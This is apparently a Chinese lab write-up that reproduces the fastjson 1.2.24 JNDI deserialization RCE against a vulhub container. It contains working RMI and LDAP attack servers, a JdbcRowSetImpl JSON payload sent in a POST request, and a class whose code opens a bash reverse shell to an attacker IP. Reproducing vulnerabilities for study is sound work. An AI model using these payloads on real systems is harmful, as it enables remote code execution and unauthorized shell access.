当前位置: 首页 > article >正文

fastjson1.2.24 CVE-2017-18349 漏洞复现

fastjson1.2.24 CVE-2017-18349 漏洞复现

时间不等人啊/(ㄒoㄒ)/~~

0. 前置知识

建议直接看参考链接

JNDI:Java命名和目录接口

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

CORBA:公共对象请求代理体系结构

1. jndi

JNDI InitialContext类

构造方法

InitialContext() 
构建一个初始上下文。(获取初始目录环境)  
InitialContext(boolean lazy) 
构造一个初始上下文,并选择不初始化它。  
InitialContext(Hashtable<?,?> environment) 
使用提供的环境构建初始上下文。

常用方法

bind(Name name, Object obj) 
将名称绑定到对象。 
list(String name) 
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name) 
检索命名对象。 
rebind(String name, Object obj) 
将名称绑定到对象,覆盖任何现有绑定。 
unbind(String name) 
取消绑定命名对象。

示例

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference类

构造方法

Reference(String className) 
为类名为“className”的对象构造一个新的引用。  
Reference(String className, RefAddr addr) 
为类名为“className”的对象和地址构造一个新引用。  
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。  
Reference(String className, String factory, String factoryLocation) 
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

示例

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className – 远程加载时所使用的类名

参数2:Factory – 加载的class中需要实例化类的名称

参数3:FactoryLocation – 提供classes数据的地址可以是*file/ftp/http***协议

常用方法

void add(int posn, RefAddr addr) 
将地址添加到索引posn的地址列表中。  
void add(RefAddr addr) 
将地址添加到地址列表的末尾。  
void clear() 
从此引用中删除所有地址。  
RefAddr get(int posn) 
检索索引posn上的地址。  
RefAddr get(String addrType) 
检索地址类型为“addrType”的第一个地址。  
Enumeration<RefAddr> getAll() 
检索本参考文献中地址的列举。  
String getClassName() 
检索引用引用的对象的类名。  
String getFactoryClassLocation() 
检索此引用引用的对象的工厂位置。  
String getFactoryClassName() 
检索此引用引用对象的工厂的类名。    
Object remove(int posn) 
从地址列表中删除索引posn上的地址。  
int size() 
检索此引用中的地址数。  
String toString() 
生成此引用的字符串表示形式。

2. jndi注入的利用条件

  • 客户端的lookup()方法的参数可控
  • **服务端在使用Reference时,**Reference(String className, String factory, String factoryLocation)中,factoryLocation参数可控/可利用

满足任一即可,jdk版本要求如下:

  • JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性
  • JDK 6u141、7u131、8u121开始:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击
  • JDK 6u211、7u201、8u191开始:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了

小迪安全里的表格

JDK6JDK7JDK8JDK11
RMI可用<6u132<7u122<8u113
LDAP可用<6u211<7u201<8u191<11.0.1

3. RMI+JNDI方式

RMI+JNDI注入就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。

服务器端

//server.java
package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "http://127.0.0.1:8081/";//恶意代码test.class在http://127.0.0.1:8081/
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

test.java

//test.java
//不要包名
public class test {
    public test() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}
编译:javac test.java
部署在web服务上:python3 -m http.server 8081 #端口根据前面服务端url的端口

当客户端通过InitialContext().lookup(“rmi://127.0.0.1:8081/obj”)获取远程对象时,会执行我们的恶意代码

//client.java
package JNDI;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class client {
    public static void main(String[] args) throws NamingException {
        String url = "rmi://localhost:1099/obj";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

4. LDAP+JNDI方式

JDK<8u191

服务端maven需要添加如下依赖:

java

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>4.0.0</version>
</dependency>

服务端ldap_server.java

package JNDI;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class ldap_sever {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://127.0.0.1:8081/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
				//设置监听地址为 0.0.0.0:7777,并绑定默认的 ServerSocketFactory 和 SocketFactory。
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));//添加一个自定义的 OperationInterceptor,用于拦截客户端的查询请求并返回恶意响应。
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();//启动 LDAP 服务器

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {//构造一个恶意的 LDAP 响应
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();//远程url
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$   //设置为远程 URL 的 ref 部分
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);//发送恶意响应
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            
        }
    }
}

客户端ldap_client.java

package JNDI;

import javax.naming.InitialContext;

public class ldap_client {
    public static void main(String[] args) throws Exception{
        Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
    }
}
JDK >= 8u191

关于JDK >= 8u191的利用目前公开有两种绕过的方法,

两种绕过⽅法如下: 

1、找到⼀个受害者本地 CLASSPATH 中的类作为恶意的 Reference Factory 工厂类, 并利用这个本地的 Factory 类执行命令. 

2、利⽤ LDAP 直接返回⼀个恶意的序列化对象, JNDI 注⼊依然会对该对象进⾏反序列化操作, 利用反序列化 Gadget(已有代码片段) 完成命令执行. 
这两种⽅式都依赖受害者本地 CLASSPATH 中环境, 需要利⽤受害者本地的 Gadget 进行攻击

详见参考文章

1. 環境搭建

windows环境

自行下载docker desktop

下载netcat,并添加环境变量

https://eternallybored.org/misc/netcat/

下载git

https://git-scm.com/downloads/win

下载vulhub

git clone https://github.com/vulhub/vulhub.git

启动docker容器

C:\Users\21609\vulhub\fastjson\1.2.24-rce>docker-compose up -d

在这里插入图片描述

在docker desktop进容器里执行命令

su 
find / -name "*.jar"
#或者cmd终端里sudo docker exec -it 5ddafb45c605 /bin/bash 
java -version
#可知容器jdk版本openjdk version "1.8.0_102"

在这里插入图片描述

将文件拷贝到本地

docker cp 5ddafb45c605:/usr/src/fastjsondemo.jar fastjsondemo.jar

在这里插入图片描述

改后缀为zip后解压,用idea打开

idea的project structure里设置jdk为jdk1.8.0_65

2. 分析

该代码是一个Spring MVC控制器,主要处理JSON数据的序列化与反序列化

  • 使用@Controller注解声明控制器类,并通过@ResponseBody实现响应体自动序列化为JSON‌1

  • @RequestMapping通过method参数区分GET/POST请求,符合RESTful设计规范

  • @RequestBody接收的User对象若包含未校验字段,可能存在反序列化攻击风险

在这里插入图片描述

我们的payload(JdbcRowSetImpl利用链)格式如下:

{
	"b":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://192.168.75.180:1099/obj",
	"autoCommit":true
	}
}

idea裏面Navigate->Search Everywhere查找JdbcRowSetImpl,找到C:\Program Files\Java\jdk1.8.0_65\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class

conn为null,"autoCommit":true时,会调用this.conn=this.connect()

在这里插入图片描述

dataSourceName不为null时,会调用lookup函数,并且获取到getDataSourceName的值

在这里插入图片描述

3. 采用JNDI+RMI注入

我们采用JNDI+RMI注入(利用恶意序列化对象执行任意代码)的思路

在这里插入图片描述

恶意类

// EvilClass.java
import java.lang.Runtime;//记得导入库
import java.lang.Process;
public class EvilClass {
    static {
        try {
            // 反弹shell
            Process pc=Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.75.180/8088 0>&1"});
            System.out.println("恶意代码已执行!");
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

jdk1.8.0_65将这个类编译成 .class 文件,输出到code目录下

javac  C:\Users\21609\IdeaProjects\maven1\src\main\java\com\jk\web\EvilClass.java -d C:\Users\21609\Desktop\code

在code目录下开cmd,启动http服务

#python3
python -m http.server 8081
#python2
#python -m SimpleHTTPServer 8081

服务器端,在idea里运行

package com.jk.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        String url = "http://192.168.75.180/";//恶意代码EvilClass.class在http://192.168.75.180:8081/
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("EvilClass", "EvilClass", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("obj",referenceWrapper);
        System.out.println("running");
    }
}

开个cmd,使用netcat监听8088端口

nc -lvvp 8088

burpsuite抓包,send to repeater

POST / HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 131

{
	"b":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://192.168.75.180:1099/obj",
	"autoCommit":true
	}
}

在这里插入图片描述

参考

javasec(八)jndi注入 海屿-uf9n1x

Java反序列化之FastJson1.2.24 IDEA动态调试解析 不用再等


http://www.kler.cn/a/573343.html

相关文章:

  • 前端基础之组件
  • Flutter系列教程之(9)——Flutter调用Android原生
  • 深入理解 React.js:构建现代 Web 应用的核心技术
  • 图解MOE大模型的7个核心问题并探讨DeepSeekMoE的专家机制创新
  • 如何计算卷积神经网络每一层的参数数量和特征图大小?
  • 算法学习新姿势:从0开始用hello-algo搭建自己的在线学习平台
  • 2024年ide系列激活_(持续更新)
  • Java多线程与高并发专题——ConcurrentHashMap 在 Java7 和 8 有何不同?
  • 物联网 智慧园区井盖管理办法和功能介绍
  • Python的那些事第四十篇:Redis的Python客户端Redis-py
  • 【EB-07】TC397 Tresos 导入通信ARXML
  • linux上redis升级
  • 【Java项目】基于SpringBoot的CSGO赛事管理系统
  • AMS分析笔记
  • k倍区间(蓝桥杯 )
  • 【AGI】智谱开源2025:一场AI技术民主化的革命正在到来
  • < 自用文儿 > DELETED 设置速读 in Ubuntu24
  • 游戏引擎学习第132天
  • 神经网络入门:分类与回归(3)
  • 充电桩测试负载应用:保障充电安全与性能的核心技术